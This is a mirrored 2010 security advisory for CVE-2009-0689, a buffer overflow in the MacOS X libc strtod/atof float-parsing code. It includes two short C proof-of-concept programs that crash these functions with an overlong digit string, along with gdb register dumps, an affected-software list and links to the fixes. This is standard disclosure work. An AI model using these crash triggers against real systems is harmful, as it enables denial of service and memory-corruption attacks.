Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Macintosh :: bu-1416.htm

MacOS X 10.5/10.6 libc/strtod(3) buffer overflow



MacOS X 10.5/10.6 libc/strtod(3) buffer overflow
MacOS X 10.5/10.6 libc/strtod(3) buffer overflow



-----BEGIN PGP SIGNED MESSAGE-----=0D
Hash: SHA1=0D
=0D
[ MacOS X 10.5/10.6 libc/strtod(3) buffer overflow ]=0D
=0D
Author: Maksymilian Arciemowicz and sp3x=0D
http://SecurityReason.com=0D 
Date:=0D
- - Dis.: 07.05.2009=0D
- - Pub.: 08.01.2010=0D
=0D
CVE: CVE-2009-0689=0D
CWE: CWE-119=0D
Risk: High=0D
Remote: Yes=0D
=0D
Affected Software:=0D
- - MacOS 10.6 =0D
=0D
NOTE: Prior versions may also be affected.=0D
=0D
Original URL:=0D
http://securityreason.com/achievement_securityalert/81=0D 
=0D
=0D
- --- 0.Description ---=0D
Mac OS is the trademarked name for a series of graphical user interface-based operating systems developed by Apple Inc. (formerly Apple Computer, Inc.) for their Macintosh line of computer systems. The Macintosh user experience is credited with popularizing the graphical user interface. The original form of what Apple would later name the "Mac OS" was the integral and unnamed system software first introduced in 1984 with the original Macintosh, usually referred to simply as the System software.=0D
=0D
=0D
- --- 1. MacOS X 10.5/10.6 libc/strtod(3) buffer overflow ---=0D
The main problem exist in dtoa implementation. MacOS X has the same dtoa as OpenBSD, NetBSD etc. This problem affects not only libc/gdtoa. Affected is also strtod(3) function.=0D
For more information, please see SREASONRES:20090625.=0D
=0D
http://securityreason.com/achievement_securityalert/63=0D 
=0D
but fix for SREASONRES:20090625, used by openbsd was not good.=0D
More information about fix for openbsd and similars SREASONRES:20091030,=0D
=0D
http://securityreason.com/achievement_securityalert/69=0D 
=0D
We can create any number of float, which will overwrite the memory. In=0D
Kmax has defined 15. Functions in dtoa, don't checks Kmax limit, and=0D
it is possible to call 16<= elements of freelist array.=0D
=0D
It is true that the examples presented in the previous notes, using the printf (1) do not work under MacOS X. This does not mean the MacOSX C library is safe.=0D
=0D
More:=0D
http://cwe.mitre.org/data/definitions/119.html=0D 
=0D
=0D
- --- 2. Proof of Concept (PoC) ---=0D
- --- 2.1. strtod(3) buffer overflow example PoC ---=0D
#include =0D
#include =0D
 =0D
int main ()=0D
{=0D
=0D
	char number[] = "0.1111111111...11", *e;=0D
=0D
	double weed = strtod(number, &e);=0D
=0D
	printf("grams = %lf\n", weed);=0D
	return 0;=0D
=0D
}=0D
=0D
(gdb) r  =0D
Starting program: /Volumes/ARC/299 =0D
Reading symbols for shared libraries ++. done=0D
=0D
Program received signal EXC_BAD_ACCESS, Could not access memory.=0D
Reason: KERN_PROTECTION_FAILURE at address: 0x0039f000=0D
0x002271ac in __diff_D2A ()=0D
=0D
(gdb) i r=0D
=0D
eax            0xc71c71c7	-954437177=0D
ecx            0xacb44	707396=0D
edx            0x0	0=0D
ebx            0x2c2e4f	2895439=0D
esp            0xbffb65d0	0xbffb65d0=0D
ebp            0xbffb6618	0xbffb6618=0D
esi            0x39f000	3796992=0D
edi            0x0	0=0D
eip            0x2271ac	0x2271ac <__diff_D2A+246>=0D
eflags         0x10246	66118=0D
cs             0x17	23=0D
ss             0x1f	31=0D
ds             0x1f	31=0D
es             0x1f	31=0D
fs             0x0	0=0D
gs             0x37	55=0D
=0D
edi=0x0=0D
eax=0xc71c71c7=0D
eip=0x002271ac=0D
=0D
(gdb) x/i 0x002271ac=0D
0x2271ac <__diff_D2A+246>:	mov    %eax,(%esi)=0D
=0D
- --- 2.2. atof(3) buffer overflow example PoC ---=0D
#include =0D
#include =0D
=0D
int=0D
main()=0D
{=0D
	char s[]="111.111111...11";=0D
=0D
	float a=atof(s);=0D
	printf("%f",a);=0D
}=0D
=0D
=0D
x$ ls -la m0.c=0D
- -rwxrwxrwx@ 1 x  staff  317507 Jan  3 14:23 m0.c=0D
x$ gcc -o m0 m0.c=0D
x$ ./m0=0D
Bus error=0D
=0D
Program received signal EXC_BAD_ACCESS, Could not access memory.=0D
Reason: KERN_PROTECTION_FAILURE at address: 0x0039f000=0D
0x00227017 in __lshift_D2A ()=0D
=0D
(gdb) x/i 0x00227017 =0D
0x227017 <__lshift_D2A+68>:	movl   $0x0,(%edx)=0D
(gdb) i r=0D
eax            0x16bc	5820=0D
ecx            0x80b6	32950=0D
edx            0x39f000	3796992=0D
ebx            0x2c2e4f	2895439=0D
esp            0xbffb2070	0xbffb2070=0D
ebp            0xbffb20b8	0xbffb20b8=0D
esi            0x26bd	9917=0D
edi            0x80b7	32951=0D
eip            0x227017	0x227017 <__lshift_D2A+68>=0D
eflags         0x10203	66051=0D
cs             0x17	23=0D
ss             0x1f	31=0D
ds             0x1f	31=0D
es             0x1f	31=0D
fs             0x0	0=0D
gs             0x37	55=0D
(gdb) bt=0D
#0  0x00227017 in __lshift_D2A ()=0D
#1  0x002c3b74 in strtod_l$UNIX2003 ()=0D
#2  0x00275ba7 in atof ()=0D
#3  0x000017eb in main ()=0D
=0D
=0D
- --- 3. SecurityReason Note ---=0D
Officialy SREASONRES:20090625 has been detected in:=0D
- - OpenBSD=0D
- - NetBSD=0D
- - FreeBSD=0D
- - MacOSX=0D
- - Google Chrome=0D
- - Mozilla Firefox=0D
- - Mozilla Seamonkey=0D
- - Mozilla Thunderbird=0D
- - Mozilla Sunbird=0D
- - Mozilla Camino=0D
- - KDE (example: konqueror)=0D
- - Opera=0D
- - K-Meleon=0D
- - F-Lock=0D
- - MatLab=0D
- - J=0D
=0D
This list is not yet closed.=0D
FreeBSD project has fixed this issue (state 2010-01-05) only in =0D
MAIN=0D
RELENG_8_0_BP=0D
RELENG_8_0_0_RELEASE=0D
RELENG_8_0=0D
RELENG_7=0D
RELENG_6=0D
=0D
Please note that the issue can also exist in Sony PlayStation 3.=0D
The license of PS3 :=0D
=0D
http://www.scei.co.jp/ps3-license/see.html=0D 
=0D
- ---=0D
The separate 'dtoa.c' file is separately licenced, thus:=0D
Copyright. 1991, 2000 by Lucent Technologies.=0D
- ---=0D
=0D
MacOS gdtoa have also  "Lucent Technologies" license from year 2000.=0D
=0D
=0D
- --- 4. Fix ---=0D
NetBSD fix (optimal):=0D
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gdtoa/gdtoaimp.h=0D 
=0D
OpenBSD fix:=0D
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/sum.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorx.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtord.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorQ.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtof.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodg.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtod.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/smisc.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/misc.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/hdtoa.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gethex.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gdtoa.h=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dtoa.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dmisc.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdio/vfprintf.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/arch/vax/gdtoa/strtof.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorxL.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorf.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtordd.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopxL.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopx.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopf.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopdd.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopd.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopQ.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodnrp.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodI.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIxL.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIx.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIg.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIf.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIdd.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoId.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIQ.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/qnan.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_xfmt.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_xLfmt.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_ffmt.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_dfmt.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_ddfmt.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g__fmt.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_Qfmt.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/arithchk.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/gcvt.c=0D 
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/ecvt.c=0D 
=0D
=0D
- --- 5. Credits ---=0D
Discovered by Maksymilian Arciemowicz and sp3x from SecurityReason.com=0D
=0D
=0D
- --- 6. Greets ---=0D
Infospec p_e_a pi3 =0D
=0D
=0D
- --- 7. Contact ---=0D
Email:=0D
- - cxib {a.t] securityreason [d0t} com=0D
- - sp3x {a.t] securityreason [d0t} com=0D
=0D
GPG:=0D
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg=0D 
- - http://securityreason.com/key/sp3x.gpg=0D 
=0D
http://securityreason.com/=0D 
http://securityreason.com/exploit_alert/ - Exploit Database=0D 
http://securityreason.com/security_alert/ - Vulnerability Database=0D 
=0D
-----BEGIN PGP SIGNATURE-----=0D
=0D
iEYEARECAAYFAktGcnsACgkQpiCeOKaYa9aRzgCgth+8HlRjOPmeJNGc+wCplmmC=0D
xsAAoNsMatpwiW8k93sTbjMayHfPna1a=0D
=CHer=0D
-----END PGP SIGNATURE-----=0D


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH